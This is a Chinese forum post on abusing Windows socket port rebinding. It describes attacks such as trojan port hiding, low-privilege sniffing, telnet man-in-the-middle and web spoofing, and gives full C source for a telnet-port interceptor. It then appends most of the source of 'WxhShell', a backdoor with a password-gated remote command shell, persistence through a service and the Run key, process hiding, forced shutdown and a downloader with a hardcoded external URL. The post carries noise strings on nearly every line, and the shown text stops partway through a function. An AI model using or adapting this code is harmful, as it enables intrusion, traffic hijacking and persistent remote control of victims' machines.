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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T''PzY!Qf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nf@-i`  
dKk\"6 o  
  saddr.sin_family = AF_INET; *=G~26*!V  
\iN3/J4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? 2#tIND  
X8(H#Ef[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W^U6O&-K  
kdmmfw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :Q\Es:y  
UXs=7H".  
  这意味着什么?意味着可以进行如下的攻击: v67utISNI  
-@*[   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >.sdLA Si  
*=yUs'brB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K;uOtbdOK  
R0 yPmh,{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cXcrb4IKD  
}uZtAH|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [K5#4k  
`vbd7i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MxXf.iX&  
{TmrWFo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n,,hE_  
zY11.!2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~Qg:_ @@\  
FJI%+$]  
  #include `5SLo=~  
  #include i sK_t*  
  #include :A,g:B  
  #include    LgG7|\(-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mZ%"""X\Ei  
  int main() 4O I''i  
  { 2Ra}&ie  
  WORD wVersionRequested; R=7,F6.  
  DWORD ret; !UzMuGj  
  WSADATA wsaData; 8%+F.r  
  BOOL val; Wi;wu*  
  SOCKADDR_IN saddr; )Bz2-|\  
  SOCKADDR_IN scaddr; ]TE(:]o7V  
  int err; DJWm7 t  
  SOCKET s; yW =I*f  
  SOCKET sc; ! .q,m>?+  
  int caddsize; wP|Amn+;  
  HANDLE mt; T O]wD^`  
  DWORD tid;   OV~]-5gau  
  wVersionRequested = MAKEWORD( 2, 2 ); ^ <$$h  
  err = WSAStartup( wVersionRequested, &wsaData ); s (2/]f$  
  if ( err != 0 ) { vHydqFi9  
  printf("error!WSAStartup failed!\n"); A'zXbp:%  
  return -1; ?'xwr )v  
  } BB$(0mM^  
  saddr.sin_family = AF_INET; 4+tKg*|  
   t[r<&1[&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^X?D4a|;#g  
`/e EdqT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  c6f=r  
  saddr.sin_port = htons(23); MBIlt 1P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tfAO#htq  
  { 1QA{NAnu&  
  printf("error!socket failed!\n"); R>C^duos.  
  return -1; V(6*wQ`&  
  } =/#+,  
  val = TRUE; _N @ h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;q"Yz-3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~[N"Q|D3Y  
  { )qID<j#  
  printf("error!setsockopt failed!\n"); D4G*Wz8  
  return -1; 8h?):e  
  } ~dtS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -%G}T}"_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t| cL!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $n><p>`  
}G/#Nb)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )%zOq:{\5  
  { 7Rq|N$y.3  
  ret=GetLastError(); n5NwiSE  
  printf("error!bind failed!\n"); #^>Md59N  
  return -1; 15l{gbCW  
  } I$y6N"|  
  listen(s,2); w7d<Ky_C  
  while(1) @CB&*VoB  
  { r3}Q1b&  
  caddsize = sizeof(scaddr); 2{Johqf  
  //接受连接请求 *x<3=9V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?cB:1?\j  
  if(sc!=INVALID_SOCKET) rlpbLOG`  
  { \/8oua_)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n OQvBc  
  if(mt==NULL) m>:zwz< ;  
  { \*+-Bm:$j  
  printf("Thread Creat Failed!\n"); o,q47W=7$  
  break; yQ03&{#  
  } o0)k5P~<~  
  } Lu.C+zgQ  
  CloseHandle(mt); $[6]Ly(F)  
  } J$>9UC k7B  
  closesocket(s); svWQk9d  
  WSACleanup(); %7wNS  
  return 0; S|Yz5)*  
  }   vmGGdj5aI  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~Qm<w3oy  
  { 'V`Hp$r  
  SOCKET ss = (SOCKET)lpParam; >D5WAQ>b  
  SOCKET sc; + e3{J_  
  unsigned char buf[4096]; 3;'RF#VL  
  SOCKADDR_IN saddr; DGJt$o=&@  
  long num; xm*6I  
  DWORD val; 05ZF>`g*  
  DWORD ret; {aoG60N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6>d0i S@R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #wS/QrRE  
  saddr.sin_family = AF_INET; U3tA"X.K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~gi,ky^!  
  saddr.sin_port = htons(23); &_o.:SL|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tj1M1s|a  
  { *RllKPY)  
  printf("error!socket failed!\n");  KB5<)[bs  
  return -1; 9`FPV`/  
  } W }  
  val = 100; -L6V)aK&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ) OE!vA  
  { r^ Mu`*x*  
  ret = GetLastError(); w7e+~8|  
  return -1; A>Y#-e;<d  
  } #\T5r*W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T\OpPSYbl  
  {  K?]c  
  ret = GetLastError(); @x[Arx^?}  
  return -1; hhr!FQ.+/  
  } 2JR$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d) $B  
  { g5[r!XO  
  printf("error!socket connect failed!\n"); o/\f+iz7  
  closesocket(sc); 5)=YTUCk  
  closesocket(ss); x&d:V  
  return -1; &fRZaq'2R  
  } *t_JR  
  while(1) :(TOtrK@  
  { ZQN%!2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N#&/d nV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J5#shs[M:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7f_tH_(  
  num = recv(ss,buf,4096,0); m IYM+2p  
  if(num>0) 2 e9lk$  
  send(sc,buf,num,0); ,@Aeo9}  
  else if(num==0) egn9O  
  break; iZ; y(  
  num = recv(sc,buf,4096,0); m[$pj~<\  
  if(num>0) V6a+VfH  
  send(ss,buf,num,0); 3cB=9Y{<  
  else if(num==0) f2,\B6+  
  break; "yG*Kh7ur  
  } +AkMU|6  
  closesocket(ss); ( SiwO.TZ  
  closesocket(sc); 4<<T#oW.:G  
  return 0 ; RA ER\9i  
  } S&z8-D=8k  
bo_Tp~ j  
sA:k8aj  
========================================================== nS9 kwaO  
XM:Y(#?l  
下边附上一个代码,,WXhSHELL qGhwbg  
)Q)H!yin  
========================================================== b Sm*/Q  
yN:U"]glC  
#include "stdafx.h" 4&}dA^F  
ZB'ms[  
#include <stdio.h> .3:s4=(f  
#include <string.h> "jA?s9  
#include <windows.h> $(N+E,XB  
#include <winsock2.h> wdLlQD  
#include <winsvc.h> +WfO2V.  
#include <urlmon.h> <-s5 ;xwtS  
D]*<J"/]d  
#pragma comment (lib, "Ws2_32.lib") 8iXt8XY3  
#pragma comment (lib, "urlmon.lib") $e/[!3CASP  
kx6-8j3gD7  
#define MAX_USER   100 // 最大客户端连接数 t<H@c9{;*  
#define BUF_SOCK   200 // sock buffer DEN (pA\  
#define KEY_BUFF   255 // 输入 buffer _d*QA{  
jrLV\(p  
#define REBOOT     0   // 重启 0s o27k  
#define SHUTDOWN   1   // 关机 t(r}jU=qw  
vI5'npM  
#define DEF_PORT   5000 // 监听端口 Tp&7CNl|  
%C =?Xhnv  
#define REG_LEN     16   // 注册表键长度 /PTk296@  
#define SVC_LEN     80   // NT服务名长度 =BVBCh  
} U_z XuUz  
// 从dll定义API mgI7zJX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _eg&j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Og/@w&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .EdQ]c-E=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <}n"gk1is  
\\v1 \  
// wxhshell配置信息 54>gr1B  
struct WSCFG { z z2'h>  
  int ws_port;         // 监听端口 WOR H4h9  
  char ws_passstr[REG_LEN]; // 口令 ZK$<"z6{  
  int ws_autoins;       // 安装标记, 1=yes 0=no bP HtP\)  
  char ws_regname[REG_LEN]; // 注册表键名 ~F^7L5d}C  
  char ws_svcname[REG_LEN]; // 服务名 8%#pv}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]>H'CM4JR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D?`|`Mu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zTb,h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W_Eur,/`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k:* (..!0z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &+Yoob]P  
 ie4BE'  
}; u[+/WFH  
U "kD)\  
// default Wxhshell configuration XTS%:S  
struct WSCFG wscfg={DEF_PORT, ?A2jj`N1x  
    "xuhuanlingzhe", M) Z3q  
    1, P`]p&:  
    "Wxhshell", q-R'5p\C?|  
    "Wxhshell", 3Ued>8Gv  
            "WxhShell Service", YAJr@v+Ls  
    "Wrsky Windows CmdShell Service", uraT$Q}  
    "Please Input Your Password: ", ,); -v4$  
  1, F_z1ey`t  
  "http://www.wrsky.com/wxhshell.exe", *di}rQHm  
  "Wxhshell.exe" rls\3 R(jt  
    }; kCvf-;b  
%Q y9X+N:  
// 消息定义模块 r"_SL!,^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (^mpb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _}3NLAqg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3JXKp k?   
char *msg_ws_ext="\n\rExit."; Kp?j\67S  
char *msg_ws_end="\n\rQuit."; >A ?{cbJ  
char *msg_ws_boot="\n\rReboot..."; &N:`Rler  
char *msg_ws_poff="\n\rShutdown..."; NhF<2[mt  
char *msg_ws_down="\n\rSave to "; {/}p"(^  
,l7',@6Y  
char *msg_ws_err="\n\rErr!"; f,0,:)  
char *msg_ws_ok="\n\rOK!"; i;I!Jc_b'  
hjx= ?  
char ExeFile[MAX_PATH]; D+('1E?  
int nUser = 0; c!Wj^  
HANDLE handles[MAX_USER]; t;L7H E@Y  
int OsIsNt; ix!4s613w  
Z[G:  
SERVICE_STATUS       serviceStatus; >NjgLJh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tA{?-5  
xXfFi5Eom  
// 函数声明 x A"V!8C  
int Install(void); ^gdv:[ m  
int Uninstall(void); D9;s%  
int DownloadFile(char *sURL, SOCKET wsh); bXRSKp[$  
int Boot(int flag); GjeRp|_Qd<  
void HideProc(void); VK3e(7 b  
int GetOsVer(void); Yu_` >so  
int Wxhshell(SOCKET wsl); SJ).L.Cm6  
void TalkWithClient(void *cs); /\ u1q<  
int CmdShell(SOCKET sock); 8G?OZ47k#  
int StartFromService(void); xn,I<dL39  
int StartWxhshell(LPSTR lpCmdLine); jrZH1dvE  
8c5%~}kG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U~s-'-C /  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \Ws$@ J-M  
-$tf`   
// 数据结构和表定义 H0?Vq8I?  
SERVICE_TABLE_ENTRY DispatchTable[] = BX-fV|  
{ >%i]p  
{wscfg.ws_svcname, NTServiceMain}, |tdsg  
{NULL, NULL} H#FH '@J  
}; "HrZv+{  
.qD=u1{p9  
// 自我安装 8rpr10;U  
int Install(void) TT3\c,cs  
{ 3&"+)*/ m  
  char svExeFile[MAX_PATH]; r(DW,xoK0  
  HKEY key; 3iBUIv  
  strcpy(svExeFile,ExeFile); ;noZmPa  
Lu9`(+  
// 如果是win9x系统,修改注册表设为自启动 zIy&gOX  
if(!OsIsNt) { Rs;Y|W4'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Ta| qQa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B f"L;L  
  RegCloseKey(key); S7f"\[Aw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ve@E.`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pe)SugCs  
  RegCloseKey(key); t)^18 z  
  return 0; ]D&\|,,(  
    } bPUldkB:  
  } Ys+NIV#Q  
} gN5;Uk  
else { /\d@AB^5I  
RAAu3QKu  
// 如果是NT以上系统,安装为系统服务 NNn sq@?6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k5o{mWI b  
if (schSCManager!=0) }^]TUe@a  
{ pfF2!`7pI  
  SC_HANDLE schService = CreateService t2RL|$>F1  
  ( hd~0qK  
  schSCManager, bguTWI8bk  
  wscfg.ws_svcname, f/UIpswrZ'  
  wscfg.ws_svcdisp, F@rx/3 [  
  SERVICE_ALL_ACCESS, $J!WuOz4^i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lOu&4Kq{g  
  SERVICE_AUTO_START, [VY265)g  
  SERVICE_ERROR_NORMAL, !1[ZfTX^a  
  svExeFile, U}^`R,C  
  NULL, EN;4EC7tE  
  NULL, :XCRKRDLE  
  NULL, eh}I?:(a?  
  NULL, 0q_?<v_ 1  
  NULL d0}P  
  ); ak$D1#hY  
  if (schService!=0) ]Ia}H+&  
  { C1po]Ott*  
  CloseServiceHandle(schService); [J +5  
  CloseServiceHandle(schSCManager); , ^@z;xF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cxc-|Xori  
  strcat(svExeFile,wscfg.ws_svcname); @ w?,7i-S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !T$h? o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @:K={AIa  
  RegCloseKey(key); l?:S)[:  
  return 0; ?d`j}  
    } 8<PQ31  
  } 2g$;ZBHO|8  
  CloseServiceHandle(schSCManager); -v{LT=,O  
} =.2)wA"e'  
} NQIbav^5  
cn2SMa[@S  
return 1; (R-(  
} mt}3/d  
Hd?#^X  
// 自我卸载 QR {>]I  
int Uninstall(void) ,| ~Pa  
{ aqKrf(Rv  
  HKEY key; rHJtNN8$k  
(Z?g^kjq)  
if(!OsIsNt) { Eu`K2_b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lc\%7-%:5  
  RegDeleteValue(key,wscfg.ws_regname); b0uWUI(=  
  RegCloseKey(key); iG+=whvL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/$oGhvl  
  RegDeleteValue(key,wscfg.ws_regname); '.IR|~Y  
  RegCloseKey(key); grTwo  
  return 0; y@9ifFr  
  } 1!&m1  
} Nc:0opPM  
} n |Q' >  
else { $\q}A:  
)Ag{S[yZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5~{s-Ms  
if (schSCManager!=0) _NN5e|t  
{ ]^I[SG,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pv3qN{265  
  if (schService!=0) Nbd[xs-lw  
  { sDP8!  
  if(DeleteService(schService)!=0) { 2!? =I'uMA  
  CloseServiceHandle(schService); ]+d> ;$O  
  CloseServiceHandle(schSCManager); 'pC51}[A{^  
  return 0; (\H^ KEy  
  }  wkKSL  
  CloseServiceHandle(schService); /TY=ig1z  
  } x bD]EC  
  CloseServiceHandle(schSCManager); g]jCR*]  
} hGb SN_F  
} G!E1N(%o  
,$bK)|pGV  
return 1; u+qj_Ej  
} A9o"L.o)  
ub]"b[j\1  
// 从指定url下载文件 5v"Sv  
int DownloadFile(char *sURL, SOCKET wsh) Esdw^MGL2  
{ <8BNqbX  
  HRESULT hr; %:yVjb,Yf  
char seps[]= "/"; Vu;z|L  
char *token; gfQ1p?  
char *file; X{8g2](z.  
char myURL[MAX_PATH]; Pa-{bhllu)  
char myFILE[MAX_PATH]; jO}<W1qy  
A 1B_EX.  
strcpy(myURL,sURL); !xE@r,'oN  
  token=strtok(myURL,seps); KEo?Cy?%ff  
  while(token!=NULL) <uvA([r=Vq  
  { mOntc6&]  
    file=token; Lrq e:\  
  token=strtok(NULL,seps); RKb (  
  } |vgYi  
q+W* ?a)  
GetCurrentDirectory(MAX_PATH,myFILE); U(5Yg  
strcat(myFILE, "\\"); 4q*mEV  
strcat(myFILE, file); 5U6b\jxX  
  send(wsh,myFILE,strlen(myFILE),0); Zqj EVVB  
send(wsh,"...",3,0); /7igPNhx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :I8HRkp  
  if(hr==S_OK) G3j'A{  
return 0; 8y'.H21:;  
else C=&;4In  
return 1; K(rWM>Jv  
'1rO&F  
} u1ahAk7  
U:uF rb,  
// 系统电源模块 =DwY-Ex  
int Boot(int flag) }Apn.DYbbf  
{ F.-:4m(Z  
  HANDLE hToken; ^1;Eq>u  
  TOKEN_PRIVILEGES tkp; A$-\Er+f  
e`zCz`R  
  if(OsIsNt) { l!j,9wz7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +lZvj=gW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $lb$<  
    tkp.PrivilegeCount = 1; yny1i9 y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {9- n3j}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  0X}0,  
if(flag==REBOOT) { sF~!qag4q'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qv3% v3\4  
  return 0; w]O,xO  
} ?[2>x{5Z  
else { 9}z%+t8u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B:#9   
  return 0; IC+!XZqS  
} Rk!8eN Pf  
  } vfdTGM`3  
  else { S#nW )=   
if(flag==REBOOT) { F<J`1 :  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o8fY!C)  
  return 0;  }A&I@2d  
} q,>4#J[2;s  
else { @bZ,)R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @|<qTci  
  return 0; _&aPF/  
} h6Cqc}P  
} .zsY VtK  
sPvjJr"s  
return 1; 96i #  
} \WxBtpbQ B  
|>KOlwh5n  
// win9x进程隐藏模块 ,PeE'$q  
void HideProc(void) </D )i  
{ 6UM1>xq9A  
N)4R.}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l<:\w.Gl  
  if ( hKernel != NULL ) m(Iy W734I  
  { f0 kz:sZ9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ EexNz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C/MQY:X4  
    FreeLibrary(hKernel); J=b 'b%  
  } 7yUX]95y8  
.+&M,% x  
return; yaPx=^&  
} vrIWw?/z?  
;Q0H7)t:  
// 获取操作系统版本 |z?c>.  
int GetOsVer(void) fT{%zJU  
{ a(lmm@;V<  
  OSVERSIONINFO winfo; X=V2^zrt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8=OpX,t(  
  GetVersionEx(&winfo); rUZ09>nDy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +h8`8k'}-2  
  return 1; !Y10UmMu  
  else ]Rj?OSok  
  return 0; \k5 sdHmI[  
} RcOfesW o  
#U.6HBuQa  
// 客户端句柄模块 S=G2%u!;  
int Wxhshell(SOCKET wsl) 1v 4M*  
{ f /t`B^}@  
  SOCKET wsh; )j. .)o  
  struct sockaddr_in client; \|CuTb;0  
  DWORD myID; c^stfFE&  
ydMSL25<+  
  while(nUser<MAX_USER) U04&z 91"  
{ W0<2*7s  
  int nSize=sizeof(client);  vUR gR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dUv(Pu(.#  
  if(wsh==INVALID_SOCKET) return 1; 6pbtE]  
9ePom'1f1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 77-G*PI*I  
if(handles[nUser]==0) p$mt&,p  
  closesocket(wsh); KPA.5,ai  
else N v6=[_D  
  nUser++; qWD(rq+9  
  } O bc>f|l]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u}89v1._Jn  
b-RuUfUn0  
  return 0; m .R**g  
} 0+/ew8~$  
a}X. ewg  
// 关闭 socket I.it4~]H  
void CloseIt(SOCKET wsh) %Z*N /nU  
{ w<Bw2c  
closesocket(wsh); OR}+) n{  
nUser--; U:bnX51D4  
ExitThread(0); )FN$Jlo  
} E6zPN?\ <  
F>eo.|'  
// 客户端请求句柄 klnk{R.>|  
void TalkWithClient(void *cs) S|F:[(WaM  
{ 6zI}?KZf  
/7x1Z*Hg  
  SOCKET wsh=(SOCKET)cs; gux?P2f  
  char pwd[SVC_LEN]; Re*_Dt=r  
  char cmd[KEY_BUFF]; d>V#?1$h  
char chr[1]; F?t;bV  
int i,j;  3Hi8=*  
+ ]iK^y-.r  
  while (nUser < MAX_USER) { }ld^zyL  
^U##9KkP  
if(wscfg.ws_passstr) { LCW}1H:Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;,s9jw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  HlEHk'  
  //ZeroMemory(pwd,KEY_BUFF); dSe d 6  
      i=0; Mbn;~tY>  
  while(i<SVC_LEN) { je%D&ci$  
)y{:Uc\4!  
  // 设置超时 tG~[E,/`  
  fd_set FdRead; #Hy\l J  
  struct timeval TimeOut; <h~=d("j  
  FD_ZERO(&FdRead); :6]qr86  
  FD_SET(wsh,&FdRead); Hp@Q  
  TimeOut.tv_sec=8; u<4bOJn({  
  TimeOut.tv_usec=0; T3I{D@+0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _fSBb<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *%*B o9a/  
Hbn78,~ .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =.w~qL  
  pwd=chr[0]; qae|?z  
  if(chr[0]==0xd || chr[0]==0xa) { MBAj.J  
  pwd=0; Qe-PW9C  
  break; <W+9 h0c  
  } AH_qZTv0{Q  
  i++; "BZ@m:I6hy  
    } 3O;"{E= <  
}Rw6+;  
  // 如果是非法用户,关闭 socket X4{<{D`0t8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S&QXf<v  
} BWNI|pq)v  
SM8_C!h:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >GLoeCRNu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pw`'q(ad  
2[qoqd(  
while(1) { `F3wO!  
E^$8nqCL:  
  ZeroMemory(cmd,KEY_BUFF); lQEsa45  
EWQLLH"h  
      // 自动支持客户端 telnet标准   Y[H769  
  j=0; @_W13@|  
  while(j<KEY_BUFF) { a&UzIFdB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +(y 8q  
  cmd[j]=chr[0]; J 5';Hb)  
  if(chr[0]==0xa || chr[0]==0xd) { \+=`o .2  
  cmd[j]=0; mxpj<^n}  
  break; q;UGiB^(A  
  } yDWBrN._  
  j++; #sxv?r  
    } )@P*F) g~  
(.X)=  
  // 下载文件 `WnsM; 1Y"  
  if(strstr(cmd,"http://")) { dFA1nn6{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); klH?!r&  
  if(DownloadFile(cmd,wsh)) K?r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/sfak{Q  
  else j=Izwt>   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +k~0&lZi  
  } %M))Ak4 ~a  
  else { (w:,iw#  
;FW <%  
    switch(cmd[0]) { fx>U2  
  )WInPW  
  // 帮助 lfre-pS+  
  case '?': { p|8ZHR+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *ra>Kl0   
    break; vbd)L$$20+  
  } /'5d0' ,M  
  // 安装 kD?@nx>  
  case 'i': { #9Ect@?N0  
    if(Install()) V1pBKr)v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .g1x$cQ1<  
    else L AH">E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SOn)'!g  
    break; S[zGA<}  
    } XH@(V4J(.  
  // 卸载 L#uU. U=  
  case 'r': { kkWv#,qwU  
    if(Uninstall()) G]N3OIw&8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &1R#!|h1W  
    else &pjj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H7z)OaM  
    break; C*3St`2@9  
    } J7^ UQ  
  // 显示 wxhshell 所在路径 $;'M8L  
  case 'p': { =J)<Nx.gA  
    char svExeFile[MAX_PATH]; wDGb h=  
    strcpy(svExeFile,"\n\r"); GZ,MC?W  
      strcat(svExeFile,ExeFile); =B5{7g\  
        send(wsh,svExeFile,strlen(svExeFile),0); x^EW'-a  
    break; 74MxU  
    } Mgi~j.[  
  // 重启 p)ig~kk`  
  case 'b': { 3T0~k--  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z"%.  
    if(Boot(REBOOT)) 2[HPU M2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GK!@|Kk8q7  
    else { T^(W _S  
    closesocket(wsh); J"LLj*,0"  
    ExitThread(0); {it}\[3  
    } tx~,7TMS/  
    break; ~!qnKM>[  
    } BQ)>}YHk  
  // 关机 W/hzo*o'g  
  case 'd': { x,.=VB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qrg- xu=  
    if(Boot(SHUTDOWN)) M\a{2f7'n  
